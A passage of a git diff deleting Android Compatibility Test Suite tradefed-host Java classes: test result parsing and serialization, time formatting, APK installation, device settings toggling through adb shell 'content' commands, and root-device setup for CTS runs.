-class TestSuite extends AbstractXmlPullParser {
-
-    static final String TAG = "TestSuite";
-
-    private String mName;
-
-    // use linked hash map for predictable iteration order
-    Map<String, TestSuite> mChildSuiteMap = new LinkedHashMap<String, TestSuite>();
-    Map<String, TestCase> mChildTestCaseMap = new LinkedHashMap<String, TestCase>();
-
-    /**
-     * @param testSuite
-     */
-    public TestSuite(String suiteName) {
-        mName = suiteName;
-    }
-
-    public TestSuite() {
-    }
-
-    /**
-     * @return the name of this suite
-     */
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * Set the name of this suite
-     */
-    public void setName(String name) {
-        mName = name;
-    }
-
-    /**
-     * Insert the given test result into this suite.
-     *
-     * @param suiteNames list of remaining suite names for this test
-     * @param testClassName the test class name
-     * @param testName the test method name
-     * @param testResult the {@link TestResult}
-     */
-    public Test findTest(List<String> suiteNames, String testClassName, String testName,
-            boolean insertIfMissing) {
-        if (suiteNames.size() <= 0) {
-            // no more package segments
-            TestCase testCase = getTestCase(testClassName);
-            return testCase.findTest(testName, insertIfMissing);
-        } else {
-            String rootName = suiteNames.remove(0);
-            TestSuite suite = getTestSuite(rootName);
-            return suite.findTest(suiteNames, testClassName, testName, insertIfMissing);
-        }
-    }
-
-    /**
-     * Gets all the child {@link TestSuite}s
-     */
-    public Collection<TestSuite> getTestSuites() {
-        return mChildSuiteMap.values();
-    }
-
-    /**
-     * Gets all the child {@link TestCase}s
-     */
-    public Collection<TestCase> getTestCases() {
-        return mChildTestCaseMap.values();
-    }
-
-    /**
-     * Get the child {@link TestSuite} with given name, creating if necessary.
-     *
-     * @param suiteName
-     * @return the {@link TestSuite}
-     */
-    private TestSuite getTestSuite(String suiteName) {
-        TestSuite testSuite = mChildSuiteMap.get(suiteName);
-        if (testSuite == null) {
-            testSuite = new TestSuite(suiteName);
-            mChildSuiteMap.put(suiteName, testSuite);
-        }
-        return testSuite;
-    }
-
-    /**
-     * Get the child {@link TestCase} with given name, creating if necessary.
-     * @param testCaseName
-     * @return
-     */
-    private TestCase getTestCase(String testCaseName) {
-        TestCase testCase = mChildTestCaseMap.get(testCaseName);
-        if (testCase == null) {
-            testCase = new TestCase(testCaseName);
-            mChildTestCaseMap.put(testCaseName, testCase);
-        }
-        return testCase;
-    }
-
-    /**
-     * Serialize this object and all its contents to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer) throws IOException {
-        if (mName != null) {
-            serializer.startTag(CtsXmlResultReporter.ns, TAG);
-            serializer.attribute(CtsXmlResultReporter.ns, "name", mName);
-        }
-        for (TestSuite childSuite : mChildSuiteMap.values()) {
-            childSuite.serialize(serializer);
-        }
-        for (TestCase childCase : mChildTestCaseMap.values()) {
-            childCase.serialize(serializer);
-        }
-        if (mName != null) {
-            serializer.endTag(CtsXmlResultReporter.ns, TAG);
-        }
-    }
-
-    /**
-     * Populates this class with suite result data parsed from XML.
-     *
-     * @param parser the {@link XmlPullParser}. Expected to be pointing at start
-     *            of a TestSuite tag
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(TAG)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", TAG, parser.getName()));
-        }
-        setName(getAttribute(parser, "name"));
-        int eventType = parser.next();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(TestSuite.TAG)) {
-                TestSuite suite = new TestSuite();
-                suite.parse(parser);
-                insertSuite(suite);
-            } else if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    TestCase.TAG)) {
-                TestCase testCase = new TestCase();
-                testCase.parse(parser);
-                insertTestCase(testCase);
-            } else if (eventType == XmlPullParser.END_TAG && parser.getName().equals(TAG)) {
-                return;
-            }
-            eventType = parser.next();
-        }
-    }
-
-    /**
-     * Adds a child {@link TestCase}.
-     */
-    public void insertTestCase(TestCase testCase) {
-        mChildTestCaseMap.put(testCase.getName(), testCase);
-    }
-
-    /**
-     * Adds a child {@link TestSuite}.
-     */
-    public void insertSuite(TestSuite suite) {
-        mChildSuiteMap.put(suite.getName(), suite);
-    }
-
-
-    /**
-     * Adds tests contained in this result that have the given <var>resultFilter</var>
-     *
-     * @param tests the {@link Collection} of {@link TestIdentifier}s to add to
-     * @param parentSuiteNames a {@link Deque} of parent suite names. Used to construct the full
-     * class name of the test
-     * @param resultFilter the {@link CtsTestStatus} to filter by
-     */
-    void addTestsWithStatus(Collection<TestIdentifier> tests, Deque<String> parentSuiteNames,
-            CtsTestStatus resultFilter) {
-        if (getName() != null) {
-            parentSuiteNames.addLast(getName());
-        }
-        for (TestSuite suite : mChildSuiteMap.values()) {
-            suite.addTestsWithStatus(tests, parentSuiteNames, resultFilter);
-        }
-        for (TestCase testCase : mChildTestCaseMap.values()) {
-            testCase.addTestsWithStatus(tests, parentSuiteNames, resultFilter);
-        }
-        if (getName() != null) {
-            parentSuiteNames.removeLast();
-        }
-    }
-
-    /**
-     * Count the number of tests in this {@link TestSuite} with given status.
-     *
-     * @param status
-     * @return the test count
-     */
-    public int countTests(CtsTestStatus status) {
-        int total = 0;
-        for (TestSuite suite : mChildSuiteMap.values()) {
-            total += suite.countTests(status);
-        }
-        for (TestCase testCase : mChildTestCaseMap.values()) {
-            total += testCase.countTests(status);
-        }
-        return total;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSummaryXml.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSummaryXml.java
deleted file mode 100644
index 36f3297..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TestSummaryXml.java
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import android.tests.getinfo.DeviceInfoConstants;
-
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
-/**
- * A {@link ITestSummary} that parses summary data from the CTS result XML.
- */
-public class TestSummaryXml extends AbstractXmlPullParser implements ITestSummary  {
-
-    private final int mId;
-    private final String mTimestamp;
-    private int mNumFailed = 0;
-    private int mNumNotExecuted = 0;
-    private int mNumPassed = 0;
-    private String mPlan = "NA";
-    private String mStartTime = "unknown";
-    private String mDeviceSerials = "unknown";
-
-    /**
-     * @param id
-     * @param resultFile
-     * @throws ParseException
-     * @throws FileNotFoundException
-     */
-    public TestSummaryXml(int id, String timestamp) {
-        mId = id;
-        mTimestamp = timestamp;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getId() {
-        return mId;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getTimestamp() {
-        return mTimestamp;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getNumIncomplete() {
-        return mNumNotExecuted;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getNumFailed() {
-        return mNumFailed;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public int getNumPassed() {
-        return mNumPassed;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getTestPlan() {
-        return mPlan ;
-    }
-
-
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        int eventType = parser.getEventType();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    CtsXmlResultReporter.RESULT_TAG)) {
-                mPlan = getAttribute(parser, CtsXmlResultReporter.PLAN_ATTR);
-                mStartTime = getAttribute(parser, CtsXmlResultReporter.STARTTIME_ATTR);
-            } else if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    DeviceInfoResult.BUILD_TAG)) {
-                mDeviceSerials = getAttribute(parser, DeviceInfoConstants.SERIAL_NUMBER);
-            } else if (eventType == XmlPullParser.START_TAG && parser.getName().equals(
-                    TestResults.SUMMARY_TAG)) {
-                mNumFailed = parseIntAttr(parser, TestResults.FAILED_ATTR) +
-                    parseIntAttr(parser, TestResults.TIMEOUT_ATTR);
-                mNumNotExecuted = parseIntAttr(parser, TestResults.NOT_EXECUTED_ATTR);
-                mNumPassed = parseIntAttr(parser, TestResults.PASS_ATTR);
-                // abort after parsing Summary, which should be the last tag
-                return;
-             }
-            eventType = parser.next();
-        }
-        throw new XmlPullParserException("Could not find Summary tag");
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getStartTime() {
-        return mStartTime;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getDeviceSerials() {
-        return mDeviceSerials;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/TimeUtil.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/TimeUtil.java
deleted file mode 100644
index fb737f9..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/TimeUtil.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import java.text.SimpleDateFormat;
-import java.util.Date;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility class for formatting times as strings.
- */
-class TimeUtil {
-
-    /**
-     * Return a prettified version of the given elapsed time
-     * @return
-     */
-    static String formatElapsedTime(long elapsedTimeMs) {
-        long seconds = TimeUnit.MILLISECONDS.toSeconds(elapsedTimeMs) % 60;
-        long minutes = TimeUnit.MILLISECONDS.toMinutes(elapsedTimeMs) % 60;
-        long hours = TimeUnit.MILLISECONDS.toHours(elapsedTimeMs);
-        StringBuilder time = new StringBuilder();
-        if (hours > 0) {
-            time.append(hours);
-            time.append("h ");
-        }
-        if (minutes > 0) {
-            time.append(minutes);
-            time.append("m ");
-        }
-        time.append(seconds);
-        time.append("s");
-
-        return time.toString();
-    }
-
-    /**
-     * Return the current timestamp as a {@link String} suitable for displaying.
-     * <p/>
-     * Example: Fri Aug 20 15:13:03 PDT 2010
-     */
-    static String getTimestamp() {
-        return getTimestamp(System.currentTimeMillis());
-    }
-
-    /**
-     * Return the given time as a {@link String} suitable for displaying.
-     * <p/>
-     * Example: Fri Aug 20 15:13:03 PDT 2010
-     *
-     * @param time the epoch time in ms since midnight Jan 1, 1970
-     */
-    static String getTimestamp(long time) {
-        SimpleDateFormat dateFormat = new SimpleDateFormat("EEE MMM dd HH:mm:ss zzz yyyy");
-        return dateFormat.format(new Date(time));
-    }
-
-    /**
-     * Return the current timestamp in a compressed format, used to uniquely identify results.
-     * <p/>
-     * Example: 2010.08.16_11.42.12
-     */
-    static String getResultTimestamp() {
-        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss");
-        return dateFormat.format(new Date());
-    }
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsApkInstaller.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsApkInstaller.java
deleted file mode 100644
index 08061b1..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsApkInstaller.java
+++ /dev/null
@@ -1,54 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.targetprep.TestAppInstallSetup;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-
-/**
- * Installs specified apks from CTS test case repository
- */
-@OptionClass(alias="cts-apk-installer")
-public class CtsApkInstaller extends TestAppInstallSetup {
-
-    private CtsBuildHelper mBuildHelper = null;
-
-    protected CtsBuildHelper getCtsBuildHelper(IBuildInfo buildInfo) {
-        if (mBuildHelper == null) {
-            mBuildHelper = CtsBuildHelper.createBuildHelper(buildInfo);
-        }
-        return mBuildHelper;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected File getLocalPathForFilename(IBuildInfo buildInfo, String apkFileName)
-            throws TargetSetupError {
-        try {
-            return getCtsBuildHelper(buildInfo).getTestApp(apkFileName);
-        } catch (FileNotFoundException e) {
-            throw new TargetSetupError(String.format("apk not found: %s", apkFileName), e);
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsFilePusher.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsFilePusher.java
deleted file mode 100644
index c6ae2e1..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsFilePusher.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.OptionClass;
-import com.android.tradefed.targetprep.PushFilePreparer;
-
-import java.io.File;
-
-/**
- * Pushes specified testing artifacts from CTS test case repository
- */
-@OptionClass(alias="cts-file-pusher")
-public class CtsFilePusher extends PushFilePreparer {
-
-    private CtsBuildHelper mBuildHelper;
-
-    protected CtsBuildHelper getCtsBuildHelper(IBuildInfo buildInfo) {
-        if (mBuildHelper == null) {
-            mBuildHelper = CtsBuildHelper.createBuildHelper(buildInfo);
-        }
-        return mBuildHelper;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public File resolveRelativeFilePath(IBuildInfo buildInfo, String fileName) {
-        return new File(getCtsBuildHelper(buildInfo).getTestCasesDir(), fileName);
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsRootDeviceSetup.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsRootDeviceSetup.java
deleted file mode 100644
index f75a99e..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/CtsRootDeviceSetup.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.build.IFolderBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.targetprep.DeviceSetup;
-import com.android.tradefed.targetprep.ITargetPreparer;
-import com.android.tradefed.targetprep.TargetSetupError;
-
-import java.io.FileNotFoundException;
-
-/**
- * A {@link ITargetPreparer} that attempts to automatically perform the CTS-specific manual steps
- * for setting up a device for CTS testing.
- * <p/>
- * This class is NOT intended for 'official' CTS runs against a production device as the steps
- * performed by this class require a debug build (aka 'adb root' must succeed).
- * <p/>
- * This class currently performs the 'Allow mock locations' and 'accessibililty setup' steps
- * documented in the CTS user manual. It is intended to be used in conjunction with
- * a {@link DeviceSetup} which will enable the 'Stay Awake' setting and verify that external
- * storage is present.
- */
-public class CtsRootDeviceSetup implements ITargetPreparer {
-
-    private static final String DEVICE_ADMIN_APK_FILE_NAME = "CtsAdminApp.apk";
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
-            DeviceNotAvailableException {
-        if (!(buildInfo instanceof IFolderBuildInfo)) {
-            throw new IllegalArgumentException("Provided buildInfo is not a IFolderBuildInfo");
-        }
-        CLog.i("Setting up %s to run CTS tests", device.getSerialNumber());
-
-        IFolderBuildInfo ctsBuild = (IFolderBuildInfo)buildInfo;
-        try {
-            CtsBuildHelper buildHelper = new CtsBuildHelper(ctsBuild.getRootDir());
-
-            if (!device.enableAdbRoot()) {
-                throw new TargetSetupError(String.format(
-                        "Failed to set root on device %s.", device.getSerialNumber()));
-            }
-
-            // perform CTS setup steps that only work if adb is root
-            SettingsToggler.setSecureInt(device, "mock_location", 1);
-            enableDeviceAdmin(device, buildHelper);
-            // This is chrome specific setting to disable the first screen.
-            // For other browser, it will not do anything.
-            device.executeShellCommand(
-                    "echo \"chrome --disable-fre\" > /data/local/chrome-command-line");
-            // end root setup steps
-        } catch (FileNotFoundException e) {
-            throw new TargetSetupError("Invalid CTS installation", e);
-        }
-    }
-
-    private void enableDeviceAdmin(ITestDevice device, CtsBuildHelper ctsBuild)
-            throws DeviceNotAvailableException, TargetSetupError, FileNotFoundException {
-        String errorCode = device.installPackage(ctsBuild.getTestApp(DEVICE_ADMIN_APK_FILE_NAME),
-                true);
-        if (errorCode != null) {
-            // TODO: retry ?
-            throw new TargetSetupError(String.format(
-                    "Failed to install %s on device %s. Reason: %s",
-                    DEVICE_ADMIN_APK_FILE_NAME, device.getSerialNumber(), errorCode));
-        }
-        // TODO: enable device admin Settings
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/SettingsToggler.java b/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/SettingsToggler.java
deleted file mode 100644
index ff6c4f4..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/targetprep/SettingsToggler.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.targetprep;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-
-/**
- * {@link SettingsToggler} sets settings by using the "adb shell content" command.
- */
-public class SettingsToggler {
-    private static final String GROUP_SECURE = "secure";
-    private static final String GROUP_GLOBAL = "global";
-
-    /** Sets a setting by deleting and then inserting the string value. */
-    public static void setString(ITestDevice device, String group, String name, String value)
-            throws DeviceNotAvailableException {
-        deleteSetting(device, group, name);
-        device.executeShellCommand(
-                "content insert"
-                + " --uri content://settings/" + group
-                + " --bind name:s:" + name
-                + " --bind value:s:" + value);
-    }
-
-    /** Sets a secure setting by deleting and then inserting the string value. */
-    public static void setSecureString(ITestDevice device, String name, String value)
-            throws DeviceNotAvailableException {
-        setString(device, GROUP_SECURE, name, value);
-    }
-
-    /** Sets a global setting by deleting and then inserting the string value. */
-    public static void setGlobalString(ITestDevice device, String name, String value)
-            throws DeviceNotAvailableException {
-        setString(device, GROUP_GLOBAL, name, value);
-    }
-
-    /** Sets a setting by deleting and then inserting the int value. */
-    public static void setInt(ITestDevice device, String group, String name, int value)
-            throws DeviceNotAvailableException {
-        deleteSetting(device, group, name);
-        device.executeShellCommand(
-                "content insert"
-                + " --uri content://settings/" + group
-                + " --bind name:s:" + name
-                + " --bind value:i:" + value);
-    }
-
-    /** Sets a secure setting by deleting and then inserting the int value. */
-    public static void setSecureInt(ITestDevice device, String name, int value)
-            throws DeviceNotAvailableException {
-        setInt(device, GROUP_SECURE, name, value);
-    }
-
-    /** Sets a global setting by deleting and then inserting the int value. */
-    public static void setGlobalInt(ITestDevice device, String name, int value)
-            throws DeviceNotAvailableException {
-        setInt(device, GROUP_GLOBAL, name, value);
-    }
-
-    public static void updateString(ITestDevice device, String group, String name, String value)
-            throws DeviceNotAvailableException {
-        device.executeShellCommand(
-                "content update"
-                + " --uri content://settings/" + group
-                + " --bind value:s:" + value
-                + " --where \"name='" + name + "'\"");
-    }
-
-    public static void updateSecureString(ITestDevice device, String name, String value)
-            throws DeviceNotAvailableException {
-        updateString(device, GROUP_SECURE, name, value);
-    }
-
-    public static void updateGlobalString(ITestDevice device, String name, String value)
-            throws DeviceNotAvailableException {
-        updateString(device, GROUP_GLOBAL, name, value);
-    }
-
-    public static void updateInt(ITestDevice device, String group, String name, int value)
-            throws DeviceNotAvailableException {
-        device.executeShellCommand(
-                "content update"
-                + " --uri content://settings/" + group
-                + " --bind value:i:" + value
-                + " --where \"name='" + name + "'\"");
-    }
-
-    public static void updateSecureInt(ITestDevice device, String name, int value)
-            throws DeviceNotAvailableException {
-        updateInt(device, GROUP_SECURE, name, value);
-    }
-
-    public static void updateGlobalInt(ITestDevice device, String name, int value)
-            throws DeviceNotAvailableException {
-        updateInt(device, GROUP_GLOBAL, name, value);
-    }
-
-    private static void deleteSetting(ITestDevice device, String group, String name)
-            throws DeviceNotAvailableException {
-        device.executeShellCommand(
-                "content delete"
-                + " --uri content://settings/" + group
-                + " --where \"name='" + name + "'\"");
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/Abi.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/Abi.java
deleted file mode 100644
index 926e14b..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/Abi.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.tradefed.testtype.IAbi;
-/**
- * A class representing an ABI.
- */
-public class Abi implements IAbi {
-
-    private String mName;
-    private String mBitness;
-
-    public Abi(String name, String bitness) {
-        mName = name;
-        mBitness = bitness;
-    }
-
-    @Override
-    public String getName() {
-        return mName;
-    }
-
-    @Override
-    public String getBitness() {
-        return mBitness;
-    }
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsInstrumentationApkTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsInstrumentationApkTest.java
deleted file mode 100644
index 1fa4e7b..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsInstrumentationApkTest.java
+++ /dev/null
@@ -1,118 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.ddmlib.Log;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.InstrumentationTest;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.util.ArrayList;
-import java.util.Collection;
-
-/**
- * An {@link InstrumentationTest} that will install CTS apks
- * before test execution, and uninstall on execution completion.
- */
-public class CtsInstrumentationApkTest extends InstrumentationTest implements IBuildReceiver {
-
-    private static final String LOG_TAG = "CtsInstrumentationApkTest";
-
-    /** the file names of the CTS apks to install */
-    private Collection<String> mInstallFileNames = new ArrayList<String>();
-    private Collection<String> mUninstallPackages = new ArrayList<String>();
-    protected CtsBuildHelper mCtsBuild = null;
-    protected IAbi mAbi = null;
-
-    /**
-     * @param abi the ABI to run the test on
-     */
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mCtsBuild = CtsBuildHelper.createBuildHelper(build);
-    }
-
-    /**
-     * Add an apk to install.
-     *
-     * @param apkFileName the apk file name
-     * @param packageName the apk's Android package name
-     */
-    public void addInstallApk(String apkFileName, String packageName) {
-        mInstallFileNames.add(apkFileName);
-        mUninstallPackages.add(packageName);
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void run(final ITestInvocationListener listener)
-            throws DeviceNotAvailableException {
-        ITestDevice testDevice = getDevice();
-
-        if (testDevice == null) {
-            Log.e(LOG_TAG, "Missing device.");
-            return;
-        }
-        if (mCtsBuild == null) {
-            Log.e(LOG_TAG, "Missing build");
-            return;
-        }
-        boolean success = true;
-        for (String apkFileName : mInstallFileNames) {
-            Log.d(LOG_TAG, String.format("Installing %s on %s", apkFileName,
-                    testDevice.getSerialNumber()));
-            try {
-                File apkFile = mCtsBuild.getTestApp(apkFileName);
-                String errorCode = null;
-                String[] options = {AbiUtils.createAbiFlag(mAbi.getName())};
-                errorCode = testDevice.installPackage(apkFile, true, options);
-                if (errorCode != null) {
-                    Log.e(LOG_TAG, String.format("Failed to install %s on %s. Reason: %s",
-                          apkFileName, testDevice.getSerialNumber(), errorCode));
-                    success = false;
-                }
-            } catch (FileNotFoundException e) {
-                Log.e(LOG_TAG, String.format("Could not find file %s", apkFileName));
-                success = false;
-            }
-        }
-        if (success) {
-            super.run(listener);
-        }
-        for (String packageName : mUninstallPackages) {
-            Log.d(LOG_TAG, String.format("Uninstalling %s on %s", packageName,
-                    testDevice.getSerialNumber()));
-            testDevice.uninstallPackage(packageName);
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java b/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java
deleted file mode 100644
index 6eb36b6..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/testtype/CtsTest.java
+++ /dev/null
@@ -1,1228 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.testtype;
-
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.compatibility.common.util.MonitoringUtils;
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.cts.tradefed.device.DeviceInfoCollector;
-import com.android.cts.tradefed.result.CtsTestStatus;
-import com.android.cts.tradefed.result.PlanCreator;
-import com.android.cts.tradefed.util.ReportLogUtil;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
-import com.android.tradefed.config.OptionCopier;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.DeviceUnresponsiveException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.TestDeviceOptions;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
